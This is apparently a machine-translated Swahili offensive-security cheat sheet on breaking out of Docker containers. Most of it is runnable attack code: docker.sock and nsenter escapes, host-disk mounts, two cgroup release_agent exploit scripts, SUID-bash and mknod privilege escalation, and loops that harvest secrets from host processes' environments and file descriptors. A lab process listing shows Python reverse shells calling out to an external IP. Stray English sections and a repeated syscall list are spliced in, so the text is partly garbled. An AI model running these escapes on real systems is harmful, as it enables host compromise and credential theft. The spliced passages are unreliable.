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Docker Breakout / Privilege Escalation

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LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest

Uchunguzi na Kutoroka Kiotomatiki

  • linpeas: Inaweza pia kuchunguza kontena

  • CDK: Zana hii ni muhimu kuchunguza kontena uliomo hata jaribu kutoroka kiotomatiki

  • amicontained: Zana muhimu kupata mamlaka ambayo kontena ina ili kupata njia za kutoroka

  • deepce: Zana ya kuchunguza na kutoroka kutoka kwa kontena

  • grype: Pata CVE zilizomo kwenye programu iliyosanikishwa kwenye picha

Kutoroka Kupitia Docker Socket Imewekwa

Ikiwa kwa namna fulani unagundua kuwa socket ya docker imeunganishwa ndani ya kontena ya docker, utaweza kutoroka kutoka humo. Hii kawaida hutokea kwenye kontena za docker ambazo kwa sababu fulani zinahitaji kuunganisha kwenye daemini ya docker kutekeleza vitendo.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

Katika kesi hii unaweza kutumia amri za kawaida za docker kuwasiliana na daemon ya docker:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

Ikiwa socket ya docker iko mahali usitarajiwa bado unaweza kuwasiliana nayo kutumia amri ya docker na parameter -H unix:///path/to/docker.sock

Daemon ya Docker inaweza pia kusikiliza kwenye bandari (kwa chaguo-msingi 2375, 2376) au kwenye mifumo inayotegemea Systemd, mawasiliano na Daemon ya Docker yanaweza kutokea kupitia soketi ya Systemd fd://.

Kwa kuongezea, tafadhali angalia soketi za muda wa utekelezaji wa mifumo mingine ya kiwango cha juu:

  • dockershim: unix:///var/run/dockershim.sock

  • containerd: unix:///run/containerd/containerd.sock

  • cri-o: unix:///var/run/crio/crio.sock

  • frakti: unix:///var/run/frakti.sock

  • rktlet: unix:///var/run/rktlet.sock

  • ...

Kutoruhusu Mabano ya Uwezo

Unapaswa kuangalia uwezo wa kontena, ikiwa ina mojawapo ya haya yafuatayo, unaweza kutoroka kutoka kwake: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

Unaweza kuangalia uwezo wa kontena kwa sasa kutumia zana za moja kwa moja zilizotajwa hapo awali au:

capsh --print

Kwenye ukurasa ufuatao unaweza kujifunza zaidi kuhusu uwezo wa linux na jinsi ya kuvunja matumizi yao kutoroka/kupandisha vyeo:

Linux Capabilities

Kutoroka kutoka kwenye Kontena zenye Mamlaka

Kontena zenye mamlaka zinaweza kuundwa kwa bendera --privileged au kwa kulegeza ulinzi maalum:

  • --cap-add=ALL

  • --security-opt apparmor=unconfined

  • --security-opt seccomp=unconfined

  • --security-opt label:disable

  • --pid=host

  • --userns=host

  • --uts=host

  • --cgroupns=host

  • Mount /dev

Bendera ya --privileged inapunguza sana usalama wa kontena, ikitoa upatikanaji usiozuiliwa wa kifaa na kukiuka ulinzi kadhaa. Kwa maelezo zaidi, tazama nyaraka kuhusu athari kamili za --privileged.

Docker --privileged

Mamlaka + hostPID

Kwa ruhusa hizi unaweza tu kwenda kwenye eneo la jina la mchakato unaofanya kazi kwenye mwenyeji kama root kama init (pid:1) kwa kufanya: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Jaribu kwenye kontena kwa kutekeleza:

docker run --rm -it --pid=host --privileged ubuntu bash

Wenye Haki

Kwa bendera ya wenye haki unaweza kujaribu kupata diski ya mwenyeji au kujaribu kutoroka kwa kutumia release_agent au njia nyingine za kutoroka.

Jaribu kufanya upitishaji wa kisasa katika chombo kinachotekeleza:

docker run --rm -it --privileged ubuntu bash

Kufunga Diski - Poc1

Vyombo vya docker vilivyo configure vizuri havitaruhusu amri kama fdisk -l. Hata hivyo, kwenye amri ya docker iliyopangwa vibaya ambapo bendera --privileged au --device=/dev/sda1 na herufi kubwa imewekwa, inawezekana kupata mamlaka ya kuona diski ya mwenyeji.

Kwa hivyo, kuchukua udhibiti wa mashine ya mwenyeji ni rahisi:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

Na voilà! Sasa unaweza kupata ufikiaji wa mfumo wa faili wa mwenyeji kwa sababu umefungwa kwenye folda ya /mnt/hola.

Kufunga Diski - Poc2

Ndani ya kontena, mshambuliaji anaweza kujaribu kupata ufikiaji zaidi kwa mfumo wa uendeshaji wa mwenyeji kupitia kiasi cha mwenyeji kinachoweza kuandikwa kilichoundwa na kikundi. Hapa chini kuna vitu vya kawaida unavyoweza kuchunguza ndani ya kontena kuona ikiwa unaweza kutumia vector huu wa mshambuliaji:

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Kutoroka kwa Haki kwa Kutumia release_agent iliyopo (cve-2022-0492) - PoC1

PoC ya Awali
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

Pata maelezo ya mbinu katika:

Docker release_agent cgroups escape

Kutoroka kwa Haki Kwa Kutumia release_agent bila kujua njia ya kihesabu - PoC3

Katika mbinu za awali njia kamili ya kontena ndani ya mfumo wa mwenyeji inafichuliwa. Walakini, hii sio kila wakati kesi. Katika hali ambapo hujui njia kamili ya kontena ndani ya mwenyeji unaweza kutumia mbinu hii:

release_agent exploit - Relative Paths to PIDs
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Kutekeleza PoC ndani ya chombo kilichopewa mamlaka kunapaswa kutoa matokeo kama:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Kutoroka kwa Kibali kwa Kudhuru Vipimo Vyenye Nyeti

Kuna faili kadhaa ambazo zinaweza kufungwa ambazo hutoa taarifa kuhusu mwenyeji wa chini. Baadhi yao hata yanaweza kuashiria kitu cha kutekelezwa na mwenyeji wakati kitu kinatokea (ambacho kitamruhusu mshambuliaji kutoroka kutoka kwenye chombo). Matumizi mabaya ya faili hizi yanaweza kuruhusu:

Hata hivyo, unaweza kupata faili nyingine nyeti za kuangalia kwenye ukurasa huu:

Sensitive Mounts

Vipimo Visivyo na Mipaka

Katika matukio kadhaa utagundua kwamba chombo kina kiasi fulani kilichofungwa kutoka kwa mwenyeji. Ikiwa kiasi hiki hakijasakinishwa kwa usahihi unaweza kuwa na uwezo wa kufikia/kubadilisha data nyeti: Kusoma siri, kubadilisha ssh authorized_keys...

docker run --rm -it -v /:/host ubuntu bash

Kupandisha Mamlaka kwa Kutumia 2 makombora na Kufunga Mwenyeji

Ikiwa una ufikiaji kama root ndani ya chombo ambacho kina folda fulani kutoka kwa mwenyeji imewekwa na umetoka kama mtumiaji asiye na mamlaka kwa mwenyeji na una ufikiaji wa kusoma kwenye folda iliyowekwa. Unaweza kuunda faili ya bash suid katika folda iliyowekwa ndani ya chombo na kuitekeleza kutoka kwa mwenyeji ili kupandisha mamlaka.

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

Upandishaji wa Mamlaka na mabano 2

Ikiwa una ufikiaji kama root ndani ya chombo na umetoka kama mtumiaji asiye na mamlaka kwenye mwenyeji, unaweza kutumia mabano yote mawili kufanya upandishaji wa mamlaka ndani ya mwenyeji ikiwa una uwezo wa MKNOD ndani ya chombo (kwa chaguo-msingi) kama inavyoelezwa katika chapisho hili. Kwa uwezo kama huo, mtumiaji wa root ndani ya chombo ameruhusiwa kuunda faili za kifaa cha kuzuia. Faili za kifaa ni faili maalum zinazotumiwa kwa kufikia vifaa vya chini & moduli za kernel. Kwa mfano, faili ya kifaa cha kuzuia /dev/sda inatoa ufikiaji wa kusoma data ghafi kwenye diski za mifumo.

Docker inalinda dhidi ya matumizi mabaya ya vifaa vya kuzuia ndani ya vyombo kwa kutekeleza sera ya cgroup ambayo inazuia operesheni za kusoma/kusika kwenye vifaa vya kuzuia. Walakini, ikiwa kifaa cha kuzuia kinachorodheshwa ndani ya chombo, kinakuwa kinapatikana kutoka nje ya chombo kupitia saraka ya /proc/PID/root/. Upatikanaji huu unahitaji mmiliki wa mchakato awe sawa ndani na nje ya chombo.

Mfano wa Udanganyifu kutoka kwenye makala hii:

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

Ikiwa unaweza kupata michakato ya mwenyeji utaweza kupata habari nyeti iliyohifadhiwa katika michakato hiyo. Tekeleza mtihani wa maabara:

docker run --rm -it --pid=host ubuntu bash

Kwa mfano, utaweza kuorodhesha michakato inayotumia kitu kama ps auxn na kutafuta maelezo nyeti katika amri.

Kisha, kwa kuwa unaweza kufikia kila mchakato wa mwenyeji katika /proc/, unaweza tu kuiba siri zao za mazingira kwa kukimbia:

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

Unaweza pia kufikia maelezo mengine ya mchakato na kusoma faili zao zilizofunguliwa:

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

Unaweza pia kuua michakato na kusababisha DoS.

Ikiwa kwa namna fulani una upatikanaji wa mamlaka juu ya mchakato nje ya chombo, unaweza kukimbia kitu kama nsenter --target <pid> --all au nsenter --target <pid> --mount --net --pid --cgroup ili kuanzisha kabia na vikwazo sawa vya ns (kwa matumaini hakuna) kama mchakato huo.

hostNetwork

docker run --rm -it --network=host ubuntu bash

Ikiwa chombo kilikonfigurwa na Dereva wa Uunganisho wa Mwenyeji wa Docker (--network=host), mtandao wa chombo hicho haujaachwa peke yake kutoka kwa mwenyeji wa Docker (chombo hushiriki uga wa mtandao wa mwenyeji), na chombo hakitapata anwani yake ya IP yenyewe. Kwa maneno mengine, chombo hufunga huduma zote moja kwa moja kwa IP ya mwenyeji. Zaidi ya hayo, chombo kinaweza kukamata TRAFIKI YOTE ya mtandao ambayo mwenyeji anatuma na kupokea kwenye interface iliyoshirikiwa tcpdump -i eth0.

Kwa mfano, unaweza kutumia hii kwa kukamata na hata kughushi trafiki kati ya mwenyeji na kielelezo cha metadata.

Kama katika mifano ifuatayo:

Pia utaweza kupata huduma za mtandao zilizofungwa kwa localhost ndani ya mwenyeji au hata kupata ruhusa za metadata ya node (ambazo zinaweza kutofautiana na zile ambazo chombo kinaweza kupata).

hostIPC

docker run --rm -it --ipc=host ubuntu bash

Kwa hostIPC=true, unapata ufikio wa rasilimali za mawasiliano kati ya michakato (IPC) ya mwenyeji, kama vile kumbukumbu iliyoshirikiwa katika /dev/shm. Hii inaruhusu kusoma/kuandika ambapo rasilimali sawa za IPC hutumiwa na michakato mingine ya mwenyeji au podi. Tumia ipcs kuchunguza mifumo hii ya IPC zaidi.

  • Chunguza /dev/shm - Tafuta faili yoyote katika eneo hili la kumbukumbu iliyoshirikiwa: ls -la /dev/shm

  • Chunguza vifaa vya IPC vilivyopo - Unaweza kuangalia kuona ikiwa vifaa vyovyote vya IPC vinatumika kwa kutumia /usr/bin/ipcs. Angalia hivi: ipcs -a

Rudisha uwezo

Ikiwa wito wa mfumo unshare haujazuiliwa unaweza kurejesha uwezo wote kwa kukimbia:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

Mabaya ya eneo la mtumiaji kupitia symlink

Mbinu ya pili iliyoelezwa katika chapisho https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ inaonyesha jinsi unavyoweza kutumia bind mounts na user namespaces, kuathiri faili ndani ya mwenyeji (katika kesi hiyo maalum, kufuta faili).

Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani. Pata Ufikiaji Leo:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest

CVEs

Runc exploit (CVE-2019-5736)

Kwa kesi unaweza kutekeleza docker exec kama root (labda na sudo), jaribu kuongeza mamlaka kwa kutoroka kutoka kwa chombo kwa kutumia CVE-2019-5736 (exploit hapa). Mbinu hii kimsingi ita badilisha /bin/sh binary ya mwenyeji kutoka kwa chombo, hivyo yeyote anayetekeleza docker exec anaweza kuzindua payload.

Badilisha payload kulingana na hilo na jenga main.go na go build main.go. Binary inayopatikana inapaswa kuwekwa kwenye chombo cha docker kwa utekelezaji. Baada ya utekelezaji, mara tu inapoonyesha [+] Imebadilishwa /bin/sh kwa mafanikio unahitaji kutekeleza yafuatayo kutoka kwa mashine ya mwenyeji:

docker exec -it <jina-la-chombo> /bin/sh

Hii itazindua payload iliyopo kwenye faili ya main.go.

Kwa habari zaidi: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Kuna CVEs nyingine ambazo chombo kinaweza kuwa hatarini, unaweza kupata orodha katika https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Kutoroka Kwa Kubinafsisha Kwa Docker

Eneo la Kutoroka la Docker

  • Namespaces: Mchakato unapaswa kuwa umejitenga kabisa na michakato mingine kupitia namespaces, hivyo hatuwezi kutoroka kuingiliana na michakato mingine kutokana na namespaces (kwa chaguo-msingi hawezi kuwasiliana kupitia IPCs, soketi za unix, huduma za mtandao, D-Bus, /proc ya michakato mingine).

  • Mtumiaji wa Root: Kwa chaguo-msingi mtumiaji anayetekeleza mchakato ni mtumiaji wa root (hata hivyo mamlaka yake ni mdogo).

  • Uwezo: Docker inaacha uwezo ufuatao: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep

  • Syscalls: Hizi ni syscalls ambazo mtumiaji wa root hataweza kuita (kwa sababu ya kukosa uwezo + Seccomp). Syscalls nyingine zinaweza kutumika kujaribu kutoroka.

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

Docker Breakout Privilege Escalation

Description

Docker breakout is a technique used to escape from a Docker container and gain access to the Docker host with escalated privileges. This can lead to a full compromise of the host system.

Attack Scenario

  1. Exploiting Docker Vulnerabilities: Attackers can exploit misconfigurations or vulnerabilities in Docker to gain initial access to a container.

  2. Privilege Escalation: Once inside a container, attackers can attempt to escalate their privileges to gain access to the Docker host.

  3. Breaking Out of the Container: Attackers use various techniques to break out of the container and access the host system.

Mitigation

To prevent Docker breakout privilege escalation, follow these best practices:

  • Regularly update Docker to patch known vulnerabilities.

  • Implement least privilege principles to restrict container capabilities.

  • Use seccomp profiles to restrict system calls within containers.

  • Enable AppArmor or SELinux to enforce mandatory access controls.

  • Monitor Docker activity for suspicious behavior.

By following these mitigation strategies, you can reduce the risk of Docker breakout attacks and enhance the security of your Docker environment.

0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

Docker Breakout Privilege Escalation

Description

This repository contains a proof-of-concept exploit for escaping from a Docker container to the Docker host, leading to privilege escalation.

Usage

Compile the syscall_bf.c code on the Docker host using the provided Makefile. Run the compiled binary inside the Docker container to escape to the host.

Disclaimer

This exploit is for educational purposes only. Misuse of this exploit on unauthorized systems is illegal.

// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

  • Find the path of the containers filesystem inside the host

  • You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit

  • Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens

  • You should be able to execute the trigger from inside the host

  • You need to know where the containers files are located inside the host to indicate a script you write inside the host

  • Have enough capabilities and disabled protections to be able to abuse that functionality

  • You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

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